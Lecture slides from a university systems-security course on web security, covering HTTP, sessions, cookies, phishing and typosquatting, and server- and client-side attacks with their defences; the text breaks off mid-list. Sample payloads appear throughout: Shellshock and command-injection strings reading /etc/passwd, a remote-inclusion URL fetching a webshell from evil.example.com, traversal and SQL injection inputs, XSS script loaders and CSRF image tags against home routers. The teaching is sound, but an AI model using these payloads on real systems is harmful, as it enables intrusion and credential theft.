Web Security

CS-576 Systems Security
Instructor: Georgios Portokalidis
Spring 2018
Photographer Champions Black Cat Adoptions

This story began at an animal shelter with an adorable kitten named Imogen! In December of 2014 Los Angeles-based photographer Casey ...
Web Security Is About

Users safely accessing the web

Enabling safe web applications
Web → Multitier Architectures

- **Files, scripts, etc.**
- **Plugins** (e.g., PHP, JSP, etc.)
- **CGI**
- **HTTP Server** (Apache, Nginx, etc.)
- **Operating System**
- **Database**
- **TCP Port 80**

Languages:
- PHP
- Bash
- Perl
- Python
Web → Multitier Architectures

- Files, scripts, etc.
- Plugins (e.g., PHP, JSP, etc.)
- CGI
- PHP
- Bash
- Perl
- Python

- HTTP Server (Apache, Nginx, etc.)
- TCP Port 80
- Database
- Operating System

Presentation tier
Web → Multitier Architectures

- **Files, scripts, etc.**
- **Plugins** (e.g., PHP, JSP, etc.)
- **CGI**
- **HTTP Server** (e.g., Apache, Nginx, etc.)
- **Logic tier**
- **TCP Port 80**
- **Operating System**

**Technologies**
- PHP
- Bash
- Perl
- Python
Web → Multitier Architectures

- Files, scripts, etc.
- Plugins (e.g., PHP, JSP, etc.)
- CGI
- PHP, Bash, Perl, Python
- TCP Port 80
- Database
- HTTP Server (Apache, Nginx, etc.)
- Data tier
Blurry Application Boundary
All Tiers Can Be Vulnerable

TCP Port 80

Files, scripts, etc.

Plugins (e.g., PHP, JSP, etc.)

CGI

PHP Bash Perl Python

Database

HTTP Server (Apache, Nginx, etc.)
This Lecture

Introduction

Web basics

Social engineering attacks over the Web

Attacks against the server side

Attacks against the client-side
Web Basics
The Web or WWW

The **World Wide Web** (abbreviated WWW or the Web) is an information space where documents and other web resources are identified by **Uniform Resource Locators (URLs)**, interlinked by hypertext links, and can be accessed via the Internet.
Uniform Resource Locator (URL)

URL format

- Items in brackets are optional

scheme://[username:password@]hostname[:port][/path/to/resource][?query_string][#fragment]
https://www.facebook.com

Scheme: https

No credentials

Hostname: www.facebook.com

Port: Not specified, therefore default used
  - 443 for HTTPS

Path: /

No query string, no fragment
http://example.com/foo/index.php?a=1&b=2#foo

Scheme: http

No credentials

Hostname: example.com

Port: Not specified, therefore default used
  ▪ 80 for HTTP

Path: /foo/index.php

Query string: a=1&b=2

Fragment: foo
  ▪ Fragments are not sent to the server, they are kept and used only by the client, typically to scroll to a particular location of the incoming document
    ▪ <a name="#foo"></a>
  ▪ A website can still access them via JavaScript
The user types a URL in a browser
Resolving (Host)names

www.stevens.edu does not mean anything to a computer

Your browser needs to first find the IP address belonging to that domain name
nslookup

nslookup www.stevens.edu

Server: 155.246.149.79
Address: 155.246.149.79#53

www.stevens.edu canonical name = www.stevens.edu.cdn.cloudflare.net.

Name: www.stevens.edu.cdn.cloudflare.net
Address: 104.16.126.51
Name: www.stevens.edu.cdn.cloudflare.net
Address: 104.16.125.51
How Does DNS Work?

DNS (Domain Name System) works through distributed hierarchical database of DNS servers

Your computer has what is called a “stub resolver”.

- This stub resolver does two things:
  - Ask your recursive resolver (typically provided to you by your ISP) to resolve domains for it
  - Remember (cache) the answer of recent queries
Talking to the Web Server

HTTP Server (Apache, Nginx, etc.)

Operating System

TCP Port 80

Database

Files, scripts, etc.

Plugins (e.g., PHP, JSP, etc.)

CGI

PHP

Bash

Perl

Python

Operating System

TCP Port 80
Talking to the Web Server

Browser and Server talk using the Hypertext Transfer Protocol (HTTP)

TCP Port 80

Files, scripts, etc.

Plugins (e.g., PHP, JSP, etc.)

CGI

HTTP Server (Apache, Nginx)

TCP Port 80

PHP Bash Perl Python

Spring 2018
Stevens Institute of Technology
HTTP Basics

Stateless protocol used to send and receive data
- Text-based → Human readable

Used by many applications
- Simplicity
- Most firewalls & intrusion prevention systems allow HTTP

HTTP transactions follow the same general format
- 3-part client request / server response
  1. request or response line
  2. header section
  3. entity body
HTTP Request

Request line

<METHOD> /path/to/resource?query_string HTTP/1.1

GET /index.html?param=value HTTP/1.0
Request with a Header Section

The header contains name value pairs

GET /search?q=searchterm HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 ... Firefox/3.5.8
Accept: text/html,...
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1, utf-8;q=0.7, *;q=0.7
Request with a Body Section

In this example the body is used to send parameters

```
POST /search HTTP/1.1
Host: www.google.com

Content-Type: application/x-www-form-urlencoded
Content-Length: 12

q=searchterm
```
Other HTTP methods

HEAD
- Works like GET but the server does not send the body of a response (it only sends the appropriate headers)

TRACE
- Designed for diagnostic purposes. Returns in its response body the exact request it received.

OPTIONS
- Returns the available methods for a specific resource.

PUT
- Allows the upload of a file in certain location. This should be disabled by default.
Popular Request Headers

All request headers are meant to communicate some information to the server.

User-Agent
- Family and version of browser, as well as the underlying environment

Accept
- Kind of content the client is willing to accept

Accept-encoding
- What type of encoding the client supports (e.g. gzip)

Host
- The target website of this request

Cookie
- Send the server all cookies the browser has for this specific website

Referer
- Specifies the URL from which the current request originated
- Note the misspelling. This is intentional.
HTTP Response

Response line

HTTP/1.1 <STATUS CODE> <STATUS MESSAGE>

HTTP/1.1 200 OK
Date: Fri, 09 Apr 2010 12:40:23 GMT
Content-Type: text/html; charset=UTF-8

<html><head>
<title>searchterm - Google-Search</title>
</head><body bgcolor="#e5eecc"
HTTP Response

Here the body is used to send the requested data compressed

```
HTTP/1.1 200 OK
Date: Fri, 09 Apr 2010 12:40:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip

e0a
..............r...=_......P.(.*......6.$.t..tg...
```
Popular Response Headers

All response headers are meant to communicate some information to the client (browser)

Cache-control:
  - Passing caching directives to the client (e.g. no-cache)

Expires:
  - How long the content is valid (and may be cached for)

Server
  - Provides information about the identity of the server

Set-Cookie
  - Sets cookies for this website
The Body of the Response

The browser gets the response and starts consuming it
- Drawing on the screen according to HTML code
- Fetching additional resources
- Executing code (JS, etc.)

The content received can be classified as

**Static**
- Content that is stable and determined by the path of the URL

**Dynamic**
- Content that is changes based on user input and server state
A Typical Web Server

Files, scripts, etc.

Plugins (e.g., PHP, JSP, etc.)

CGI

TCP Port 80

HTTP Server (Apache, Nginx, etc.)

Operating System

PHP

Bash

Perl

Python
A Web Application

“a program that runs on a server, accepts inputs via the web, processes it, and finally returns some answer”

Inputs can be supplied by (almost) anyone

Developed in a variety of languages
  - Mostly type/memory safe, but not always
From HTTP to Web Application

HTTP

HTTP Server

Plugins (e.g., PHP, JSP, etc.)

Programmatically accessible values

Web application Script
HTTP Sessions
HTTP Session Management

HTTP is a stateless protocol

User

Hey, it’s me!

Server

Can you make a money transfer for me?

Good to see you again!

Who are you again?
HTTP Session Management

HTTP is a stateless protocol

User=John, password=papa

Good to see you again John!

Can you make a money transfer for me?

Please login!

Spring 2018
Stevens Institute of Technology
HTTP Session Management

HTTP is a stateless protocol

User=john, password=papa

SID, transfer_amount=100

Session ID=sdfdk4kl70sdfpfvi0sdfok;sd

Server

SID=Session ID

User=john
Group=users

Done!
Implementing Session IDs

Encoding it into the URL as GET parameter

- Exposed! Visible
  - Even when using encrypted connections
    - Stored in logs, history, visible in browser location bar

Hidden form field submitted in POST requests

- Lost when browser tab is closed

Cookies

- Preferable
- Survives when browser tab is closed
- Can be rejected by clients
Cookies

Token that is set by server, stored on client

Key-value pairs ("name=value")

Access control based on server domain
What Are Cookies Used For?

Authentication
- The cookie proves to the website that the client previously authenticated correctly

Personalization
- Helps the website recognize the user from a previous visit

Tracking
- Follow the user from site to site; learn his/her browsing behavior, preferences, and so on
Cookie Variations

Non-persistent cookies
- Only stored in memory during browser session

Secure cookies
- Only transmitted over encrypted (SSL) connections
- Only encrypting the cookie is vulnerable to replay attacks

Cookies that include the IP address
- Example: hash(IP) + nonce
- Makes cookie stealing harder
- Breaks session if IP address of client changes during that session

Spring 2018
Stevens Institute of Technology
Social Engineering Attacks Over the Web
Malware

New for 2011 - Version 5.0
You know your computer is acting weird, but why?

Click Here To Start Downloading Avast! Anti-virus 5.0!

Avast! Anti-virus 5.0 is the #1 antivirus, anti-spyware & anti-rootkit package. Avast includes the following features:

- On demand scanner with skinnable simple interface, just select what you want to scan in which way and press the Play button;
- On access scanner, special providers to protect the most of available e-mail clients;
- Network traffic-intrusion detection, lightweight firewall;
- P2P protection; Web shield—monitors and filters all HTTP traffic;
- NNTP scanner—scans all Usenet Newsgroup traffic and all operations with files on PC;
- Boot time scanner—scans disks in the same way and in the same time as Windows CHKDSK does.

Get instant access to the world’s most trusted antivirus software collection. Protect your email, instant messages and other files by automatically removing viruses. New built-in features also detects threats such as Spyware and Adware. Protect your PC 24 hours a day with this award-winning software collection.

Download now and get Full Support

Software Info
Customer Rating: 5 stars
Publisher: ALWIL Software
File size: 17.8 MB
Platform: Windows (Vista, XP, 2000, 98)

Top Features
- Official 5.0 Version
- New Interface & Features
- Easy Installation
- Only 2 minutes setup
- User Friendly
- Step by step guides
- Ultra Fast Download
- Free Updates
- 24/7 Technical Support
- and more
Malicious Add-ons/Extensions
Phishing

Fake Facebook URL: www.facelook.cixx6.com
Phishing

Fake Browser with URL using HTML 5
Cybersquatters

In 1994, 2/3 of the Fortune 500 companies had not registered the domains corresponding to their trademarks

- E.g., mcdonalds.com

Some of the speculators, decided to push it a bit by registering such domains, hoping for profit

- This practice was named “cybersquatting”

In some cases, cybersquatters speculated the name of future products and services:

- iphone6.com
Typosquatting

Keyboard users, even experienced ones, make mistakes while typing

Registration of mistypes of popular domains

- foogle.com, ffacebook.com, twitte.com

Standard typo models:

- Double character, exxample.com
- Omitted character, eamle.com
- Neighboring character, wxample.com
- Forgetting dots, wwwwexample.com
- Character permutation, eaxmple.com
Expired domains

Unlike diamonds... domain names are not forever

- Typical registration period is one year and you can choose more years if you want to

If a domain is not renewed, it eventually expires and gets back into the pool of domain names

People can buy these domains and abuse the residual trust associated with them

- Mostly used for SEO purposes because of existing ranking and backlinks

A benign domain (and all links to it) can eventually become malicious if it switches hands
Defenses

Scan the web/emails/etc. to identify and **blacklist** malicious URLs
Defenses

Scan the web/emails/etc. to identify and blacklist malicious URLs

https://developers.google.com/safe-browsing/
Attacks Against the Server
The Server Part

Files, scripts, etc.

Plugins (e.g., PHP, JSP, etc.)

CGI

HTTP Server (Apache, Nginx, etc.)

PHP  Bash  Perl  Python

Database
Incorrect Handling of Program Input

Input is any source of data from outside and whose value is not explicitly known by the programmer when the code was written.

Must identify all data sources

Incorrect handling is a very common failing

Explicitly validate assumptions on size and type of values before use.
Example: Shellshock

Bug in how the Bash shell parses functions defined within an environment variable


Bash allows for declaring a function within an environment variable

F='foo() { echo bar; }'

The shellshock bug enables execution of commands through an environment variable

env x='() { ::}; echo vulnerable' bash -c "echo this is a test"
Passing User Input to a Vulnerable Script

POST /index.html HTTP/1.0

x='() { ::}; echo vulnerable' bash -c "echo this is a test"

X exported as a shell variable

Server Program

script.sh

Surprising outcome
Command Injection Attacks

Caused by insufficient or no validation of user input

Not the same as code injection
  - But equally as bad

Anything that calls the exec() family of calls or system() could be a target
A Perl script that print files and directory contents

```perl
my $arg=shift;

my $arg_len=length($arg);
if ($arg_len <= 0) {
    print "boring\n";
    exit(1);
}

print "displaying files with filter '$arg':\n";

system("ls $arg");
```

arg = "; cat /etc/passwd"
Use of Input With Insufficient Validation

A Perl script that print files and directory contents

my $arg=shift;
...
if ($arg =~ m;/;) {
    print "my mother told me to sanitize input!\n";
    exit(1);
}
print "displaying files with filter '\$arg':\n";
system("ls \$arg");
arg = "| cat /etc/passwd"
How to Protect?

Security by design

Follow best practices
- Software Assurance Forum for Excellence in Code (SAFECode)

Do not make assumptions about input

Validate all inputs
- Use libraries ➔ Faster and reusable
- Strict input validation
  - Data type (string, integer, real, etc...);
  - Allowed character set, minimum and maximum length
  - Patterns (e.g., SSN, email, URL, etc.)
Input Validation

A Perl script that print files and directory contents

- Only accepts particular patterns

```perl
my $arg=shift;
...
if ($arg =~ m /^[A-Za-z0-9_\-_\.*]*$/ ) {
    print "displaying files with filter '$arg':\n";system("ls $arg");
}
else {
    print "my mother told me to sanitize input!\n";
}
```
File Inclusion Vulnerabilities

<form method="get">
    <select name="COLOR">
        <option value="red">red</option>
        <option value="blue">blue</option>
    </select>
    <input type="submit">
</form>

```php
<?php
    if ( isset( $_GET['COLOR'] ) ) {
        include( $_GET['COLOR'] . '.php' );
    }
?>
```

COLOR restricted to two values
File Inclusion Vulnerabilities

Browser

<form method="get">
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

Server

```php
<?php
   if ( isset( $_GET['COLOR'] ) ) {
      include( $_GET['COLOR'] . '.php' );
   }
?>
```

Raw write to server

/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
File Inclusion Vulnerabilities

<form method="get">
<select name="COLOR">
  <option value="red">red</option>
  <option value="blue">blue</option>
</select>
<input type="submit">
</form>

```php
if ( isset( $_GET['COLOR'] ) ) {
  include( $_GET['COLOR'] . '.php' );
}
?>
```

Raw write to server

/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
File Inclusion Vulnerabilities

Cannot do input validation at the client!
Directory Traversal Vulnerabilities

Server

```php
<?php
  if ( isset($_GET['COLOR']) ) {
    include('/usr/local/share/templates/' . $_GET['COLOR']);
  }
?>
```

Raw write to server

```
/vulnerable.php?COLOR=../..../etc/passwd
```

Leak password file
Directory Traversal Vulnerabilities

Server

```php
<?php
if ( isset( $_GET['COLOR'] ) ) {
    include('/usr/local/share/templates/' . $_GET['COLOR'] . '.php');
}
?>
```

Raw write to server

```
/vulnerable.php?COLOR=../..../etc/passwd%00
```

Leak password file
Handling Input in DB Server

Databases organize data

A database management system (DBMS) is the systems responsible for managing the data and handling the interaction with the user

Most DBs are relational

Today we also see key-value stores (e.g., NoSQL databases)
Relational Databases

Data organized using tables consisting of rows and columns
- Each column holds a particular type of data
- Each row contains a specific value for each column

Ideally has one column where all values are unique, forming an identifier/key for that row
- Enables the creation of multiple tables linked together by a unique identifier that is present in all tables

Use a relational query language to access the database

Allows the user to request data that fit a given set of criteria (i.e., search the data)
Information in multiple tables can be linked through keys.

Data from multiple tables can be combined to create views.

### Department Table

<table>
<thead>
<tr>
<th>Did</th>
<th>Dname</th>
<th>Dacctno</th>
</tr>
</thead>
<tbody>
<tr>
<td>4</td>
<td>human resources</td>
<td>528221</td>
</tr>
<tr>
<td>8</td>
<td>education</td>
<td>202035</td>
</tr>
<tr>
<td>9</td>
<td>accounts</td>
<td>709257</td>
</tr>
<tr>
<td>13</td>
<td>public relations</td>
<td>755827</td>
</tr>
<tr>
<td>15</td>
<td>services</td>
<td>223945</td>
</tr>
</tbody>
</table>

### Employee Table

<table>
<thead>
<tr>
<th>Ename</th>
<th>Did</th>
<th>Salarycode</th>
<th>Eid</th>
<th>Ephone</th>
</tr>
</thead>
<tbody>
<tr>
<td>Robin</td>
<td>15</td>
<td>23</td>
<td>2345</td>
<td>6127092485</td>
</tr>
<tr>
<td>Neil</td>
<td>13</td>
<td>12</td>
<td>5088</td>
<td>6127092246</td>
</tr>
<tr>
<td>Jasmine</td>
<td>4</td>
<td>26</td>
<td>7712</td>
<td>6127099348</td>
</tr>
<tr>
<td>Cody</td>
<td>15</td>
<td>22</td>
<td>9664</td>
<td>6127093148</td>
</tr>
<tr>
<td>Holly</td>
<td>8</td>
<td>23</td>
<td>3054</td>
<td>6127092729</td>
</tr>
<tr>
<td>Robin</td>
<td>8</td>
<td>24</td>
<td>2976</td>
<td>6127091945</td>
</tr>
<tr>
<td>Smith</td>
<td>9</td>
<td>21</td>
<td>4490</td>
<td>6127099380</td>
</tr>
</tbody>
</table>

### Dname Table

<table>
<thead>
<tr>
<th>Dname</th>
<th>Ename</th>
<th>Eid</th>
<th>Ephone</th>
</tr>
</thead>
<tbody>
<tr>
<td>human resources</td>
<td>Jasmine</td>
<td>7712</td>
<td>6127099348</td>
</tr>
<tr>
<td>education</td>
<td>Holly</td>
<td>3054</td>
<td>6127092729</td>
</tr>
<tr>
<td>education</td>
<td>Robin</td>
<td>2976</td>
<td>6127091945</td>
</tr>
<tr>
<td>accounts</td>
<td>Smith</td>
<td>4490</td>
<td>6127099380</td>
</tr>
<tr>
<td>public relations</td>
<td>Neil</td>
<td>5088</td>
<td>6127092246</td>
</tr>
<tr>
<td>services</td>
<td>Robin</td>
<td>2345</td>
<td>6127092485</td>
</tr>
<tr>
<td>services</td>
<td>Cody</td>
<td>9664</td>
<td>6127093148</td>
</tr>
</tbody>
</table>
Structured Query Language (SQL)

Standardized language to define schema, manipulate, and query data in a relational database

Several similar versions of ANSI/ISO standard

All follow the same basic syntax and semantics

**SQL statements can be used to:**

- Create tables
- Insert and delete data in tables
- Create views
- Retrieve data with query statements
SQL Example

User login on a simple web application
Look for a user/password combination with the values entered by the user

```php
...$query = new CGI;
$username = $query->param("username");
$password = $query->param("password");
...
$sql_command = "select * from users where username='".$username."' and password='".$password."";"
$sth = $dbh->execute($sql_command)
...```
Can I have some more injections please?
Simple SQL Injection

If the user enters a ‘ (single quote) as the password, the SQL statement in the script would become:

```
SELECT * FROM users WHERE username=' ' AND password = ' ''
```

Generates an error

It always begins with an error
Simple SQL Injection

If the user enters a ‘ (single quote) as the password, the SQL statement in the script would become:

```sql
SELECT * FROM users WHERE username=' ' AND password = ' ''
```

If the user enters (injects): ‘ or username='administrator as the password, the SQL statement in the script would become:

```sql
SELECT * FROM users WHERE username=' ' AND password = ' ' or username='administrator'
```

Generates a different SQL statement
Simple SQL Injection

If the user enters a ‘ (single quote) as the password, the SQL statement in the script would become:

```
SELECT * FROM users WHERE username=' ' AND password = ''
```

If the user enters (injects): ‘ or username='administrator' as the password, the SQL statement in the script would become:

```
SELECT * FROM users WHERE username=' ' AND password = '' or username='administrator'
```

Comments are also popular:

```
SELECT * FROM users WHERE username='administrator'-- AND password = 'whatever'
```
No Need for Quotes

Web applications will often escape the ‘ and “ characters

- E.g., PHP Magic quotes feature automatically escapes ‘
- E.g., PHP addslashes ($str) → escape quotes using \\

Numbers in SQL statements can be also exploited

Example: logout.php?id=10&name=john

INSERT INTO users (id, name) VALUES ($id, addslashes($str))
Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way-

Did you really name your son 'Robert'); DROP TABLE Students;-- ?

Oh, yes. Little Bobby Tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.

http://xkcd.com/327/
Blind SQL Injection

Performing SQL injection when application code is not available

Database schema may be learned through returned error messages

```sql
(UG1.GROUP_ID is not null) or (B.SHOW_USER_GROUP <> 'Y' and UG1.GROUP_ID is null) ) ORDER BY B.TYPE_SID desc, C.ID desc

[File '.\bsm_demo\b_adv_banner.MYD' not found (Errcode: 2)]
```

DB query error.
Please try later.

Send error report to support
Blind SQL Injection

Performing SQL injection when application code is not available

Database schema may be learned through returned error messages

A typical countermeasure is to prohibit the display of error messages

Your application may still be vulnerable to blind SQL injection
How can we inject statements into the application and exploit it?

Trial and error: pressRelease.jsp?id=5 AND 1=1

If an injection is possible the injected SQL will always be true → the same result will be returned

If an injection is not possible the injected SQL will be interpreted as a value → error will occur and something else will be returned
Example: pressRelease.jsp?id=5

How can we inject statements into the application and exploit it?

Trial and error: pressRelease.jsp?id=5 AND 1=1

If an injection is possible the injected SQL will always be true → the same result will be returned

If an injection is not possible the injected SQL will be interpreted as a value → error will occur and something else will be returned

Can also learn more things:
pressRelease.jsp?id=5 AND user_name()='h4x0r'
Example: pressRelease.jsp?id=5

How can we inject statements into the application and exploit it?

Trial and error: pressRelease.jsp?id=5 AND 1=1

If an injection is possible the injected SQL will always be true → the same result will be returned

If an injection is not possible the injected SQL will be interpreted as a value → an error will occur and something else will be returned

Can also learn more things:
pressRelease.jsp?id=5 AND user_name()=‘h4x0r’
Second Order SQL Injection

SQL is injected into an application, but the SQL statement is invoked at a later point in time (e.g., statistics page, etc.)

Possible even if application escapes single quotes

```php
create_user.php?uname=\'--
```

```php
string safe_uname = mysqli::escape_string($_GET["uname"]);
...
... "INSERT INTO users (uid, uname) VALUES (10, \'john\)--\'"
```

```php
logout.php?uid=10
```

```php
$uname = "SELECT uname FROM users WHERE uid=10;"...
...
... "INSERT logout VALUES (ts, uname) VALUES (now(), uname='john)--''"
```
Secure Coding Practices

Developers must never allow client-supplied data to modify SQL statements.

SQL statements required by application should be stored procedures on the DB server.

Use prepared statements:

```php
$stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?");
$stmt->bind_param("s", $city);
```

Securely insert data in statement.
Secure Coding Practices

Developers must never allow client-supplied data to modify SQL statements.

SQL statements required by application should be stored procedures on the DB server.

Use prepared statements.


```php
$stmt = $mysqli->prepare("SELECT District FROM City WHERE Name=?");
$stmt->bind_param("s", $city);
```

Will never be interpreted as statements.

Securely insert data in statement.
Hints that a Web Application is Broken

Developers are notorious for leaving statements like FIXME, Code Broken, Hack, etc. inside released source code

- Always review the source code for any comments denoting passwords, backdoors, or omissions

“Hidden” fields (<input type=“hidden“...>) are sometimes used to store temporary values in Web pages

- Not so hidden and can be easily changed
- Browser debugging add-ons facilitate this (e.g., FireBug)
Attacks Against the Client-side
The Client Side

TCP Port 80

Database

Files, scripts, etc.

Plugins (e.g., PHP, JSP, etc.)

CGI

HTTP Server (Apache, Nginx, etc.)

PHP

Bash

Perl

Python
JavaScript

JavaScript is embedded into web pages to support dynamic client-side behavior

Typical uses of JavaScript include:
- Dynamic interactions (e.g., the URL of a picture changes)
- Client-side validation (e.g., has user entered a number?)
- Form submission
- Document Object Model (DOM) manipulation

Developed by Netscape as a light-weight scripting language with object-oriented capabilities
- later standardized by ECMA
- after some stagnation, JS has made a major comeback
JavaScript in Webpages

Embedded in HTML as a <script> element

- Written directly inside a <script> element
  - <script>alert("Hello World!")</script>
- In a file linked as src attribute of a <script> element
  <script type="text/JavaScript" src="functions.js"></script>

Event handler attribute

<a href="http://www.yahoo.com" onmouseover="alert('hi');">Click me</a>

Pseudo-URL referenced by a link

<a href="JavaScript: alert(‘You clicked’);">Click me</a>
The user’s environment is protected from malicious JavaScript code by a “sandboxing” environment.

JavaScript programs are protected from each other by using compartmentalizing mechanisms.

JavaScript code can only access resources associated with its origin site (same-origin policy).
Same Origin Policy

Browser prohibits interaction because content comes from different remote sites
Domains vs Subdomains

Subdomains
- E.g., `private.example.com` vs `forum.example.com`
- Considered different origin
- Possibility to relax the origin to `example.com` using `document.domain`
- Possibility to use cookies on `example.com`

Completely separate domains
- E.g., `private.example.com` vs `exampleforum.com`
- Considered different origin, without possibility of relaxation
- No possibility of shared cookies
Subdomains and Domain Relaxation

www.example.com

private.example.com

forum.example.com

account.example.com
Subdomains and Domain Relaxation

www.example.com
private.example.com
forum.example.com
account.example.com

document.domain = "example.com";
Cross-site scripting (XSS)

Simple attack, but difficult to prevent

An attacker in some way injects malicious scripts in the web page visited by the victim

The user’s browser cannot distinguish that the injected script is not trusted
  - That is, the script comes from the same source as the trusted content
Same Origin Policy

1.) posts malicious content onto site

2.) user downloads malicious content in a benign context

Browser cannot distinguish between good and bad scripts and grants full access
**XSS Classes**

**Stored attacks** are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc.
- Requires that the victim browses to the Web site

**Reflected attacks** are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request
- Delivered to victims as a link through an e-mail or another website
Simple XSS Example

• Suppose a Web application (text.pl) accepts a parameter \textit{msg} and displays its contents in a form:

```
$query = new CGI;
$directory = $query->param("msg");
print "
<html><body>
<form action="displaytext.pl" method="get">
$msg <br>
<input type="text" name="txt">
<input type="submit" value="OK">
</form></body></html>"
```
Simple XSS Example

Example: ... /text.pl?msg=HelloWorld
Simple XSS Example

JavaScript code can be injected into the page
- Example: /text.pl?msg=\<script>alert(“I Own you”)\</script> 

Using `document.cookie` identifier in JavaScript, we can steal cookies and send them to our server.

We can e-mail this URL to thousands of users or plant the url in youtube comments and wait.
Exfiltrating Information

Replace URLs with a page under the attacker’s control

- Filtered quotes can be replaced with the unicode equivalents `\u0022` and `\u0027`

Form redirecting → redirect the target of a form to steal the form values (e.g., passwd)
Attackers Are Creative

Example: bypassing filters that look for “/”

```javascript
var n = new RegExp("http: myserver evilscr.js");
for slash = location.href.charAt(6);
space = n.source.charAt(5);
s = n.source.split(space).join(for slash);

var createScript = document.createElement('script');
createScript.src = the_script;
document.getElementsByTagName('head')[0].appendChild(createScript);
```
DOM-based XSS

URL
http://www.example.com/search?name=<script>alert('XSS');</script>

Web page source code
<script>
    name = document.URL.substring(document.URL.indexOf("name=")+5);
    document.write("<h1>Welcome " + name + "</h1>" );
</script>

Resulting page
<h1>Welcome <script>alert('XSS');</script></h1>
How Much Code Can Be Injected

Attacker can include scripts in remote URLs

Example: `img src='http://valid address/clear.gif'
           onload='document.scripts(0).src="http://myserver/evilscrip.js'`
Content Security Policy (CSP)

Separate code and data
- Define trusted code sources
- Inline assembly considered harmful

Example:

```
Content-Security-Policy: default-src https://cdn.example.net; frame-src 'none'; object-src 'none'; image-src self;
```

Great if you are writing something from scratch

Not so great if you have to rewrite something to CSP
function doAmazingThings() {
    alert('YOU ARE AMAZING!');
}

<button onclick='doAmazingThings();'>Am I amazing?</button>

// amazing.js
function doAmazingThings() {
    alert('YOU ARE AMAZING!');
}
document.addEventListener('DOMContentLoaded', function () {
    document.getElementById('amazing').addEventListener('click', doAmazingThings);
});
Content Security Policy v2

CSP was great in theory but still hasn’t caught up in practice

CSP v2.0 supports two new features to help adopt CSP

- Script nonces for inline scripts
- Hashes for inline scripts
- Read more here:
  - https://blog.mozilla.org/security/2014/10/04/csp-for-the-web-we-have/
Script nonces for inline scripts

- [HTTP Header] Content-security-policy: default-src 'self'; script-src 'nonce-2726c7f26c'
- [HTML] <script nonce="2726c7f26c">... </script>

Hashes for inline scripts

- [HTTP Header] content-security-policy: script-src 'sha256-cLuU6nVzrYJlo7rUa6TMmz3nyIPFrPQrEUpOHllb5ic='
- [HTML] <script> ... </script>
Other Defenses

Application-level firewalls
  - Filtering bad inputs

Browser filters try to eliminate obvious XSS reflection attacks

Escape user input

Static code analysis
Third Parties

What if an attacker can not find an XSS vulnerability in a website?

Can he somehow still get to run malicious JavaScript code?

Perhaps... by abusing existing trust relationships between the target site and other sites.
JavaScript Libraries

Today, a lot of functionality exists, and all developers need to do is link it in their web application

- Social widgets
- Analytics
- JavaScript programming libraries
- Advertising
- ...

Spring 2018
Stevens Institute of Technology
Remote JavaScript Libraries

The code coming from foo.com will be incorporated in mybank.com, as if the code was developed and present on the servers of mybank.com
Remote JavaScript Libraries

This means that if, foo.com, decides to send you malicious JavaScript, the code can do anything in the mybank.com domain

Why would foo.com send malicious code?
- Why not?
- Change of control of the domain
- Compromised
Cross Site Request Forgery (CSRF)

Allows attackers to send arbitrary HTTP requests on behalf of a victim

The attack can be hard to understand and avoid

- Likely many web applications are vulnerable

Typical scenario:

- User has authenticated with site A and is logged in
- Malicious site B tricks the user into submitting a malicious request to site A
CSRF Example

1) Log in (username and password)

USER

victim.com

attacker.com
CSRF Example

1) Log in (username and password)

2) success

USER

victim.com

attacker.com
CSRF Example

1) Log in (username and password)

2) success

USER

victim.com

3) GET /index.html

attacker.com
CSRF Example

1) Log in (username and password)

2) success

4) `<img src="http://www.victim.com/create.php?username=badguy&password=nopasswd">

3) GET /index.html
CSRF Example

1) Log in (username and password)

2) success

5) GET /create.php?username=badguy&password=nopasswd +session cookie for victim.com

4) <img src="http://www.victim.com/create.php?username=badguy&password=nopasswd">

3) GET /index.html

attacker.com

victim.com
CSRF Against Home Routers

Home User
192.168.0.101

DSL router
192.168.0.1

attacker.cm
CSRF Against Home Routers

1) GET /index.html

2) `<img src="http://192.168.0.1/action.php?do_something_bad">`
**CSRF Against Home Routers**

1) GET /index.html

2) `<img src="http://192.168.0.1/action.php?do_something_bad">

3) GET /action.php?do_something_bad
CSRF Against Home Routers

What can the attacker do?

Real example: CSRF in home routers from a Mexican ISP

- No password was set by default
- http://www.securityfocus.com/archive/1/archive/1/476595/100/0/threaded

Add names to the DNS (216.163.137.3 www.prueba.hkm):


Disable Wireless Authentication

- http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0

Disable firewall, set new password,...
Server-side Countermeasures

Generate a token as part of the form and validate this token upon reception

- E.g., using unique IDs, MD5 hashes, etc.
- The token has to be bound to the user session
- Cannot be stored in a cookie
- You could limit the validity of the token time (e.g., 3 minutes)

Attacker cannot steal the token because of Same Origin Policy
Token Example

```html
<form method="POST"
target=https://mybank.com/move_money/>
  <input type="text" name="acct-to">
  <input type="text" name="amount">
  <input type="hidden" name="t"
value="dsf98sdf8fds324">
  <input type="submit">
</form>
```
Client-side Countermeasures

Starting from 2016, some popular browsers have started supporting an extra cookie flag called “samesite”

- The possible values of this attribute are “Strict” and “Lax”
  - “Lax” is the default choice

Set-Cookie: SID=123abc; SameSite=Lax

Set-Cookie: SID=123abc; SameSite=Strict
SameSite Cookies – Strict Mode

The **SameSite=Strict** attribute requests from the browser to not attach the cookies to requests initiated by third-party websites.

Examples

- Do not attach facebook.com cookies when:
  - attacker.com automatically submits a form towards facebook.com
  - attacker.com opens up facebook.com in an iframe
  - attacker.com requests a remote image/js from facebook.com
  - User clicks on a link to facebook.com on the attacker.com website
SameSite Cookies – Lax Mode

The SameSite=Lax relaxes the requirement for no third-party-initiated requests.

The cookies will be attached in a third-party request as long as:

1. The request is done via the GET method
2. Results in a top-level change
   1. No iframes
   2. No XMLHTTPRequests

Examples

- Do not attach facebook.com cookies when:
  - attacker.com automatically submits a form towards facebook.com
  - attacker.com opens up facebook.com in an iframe
- Do attach facebook.com cookies when:
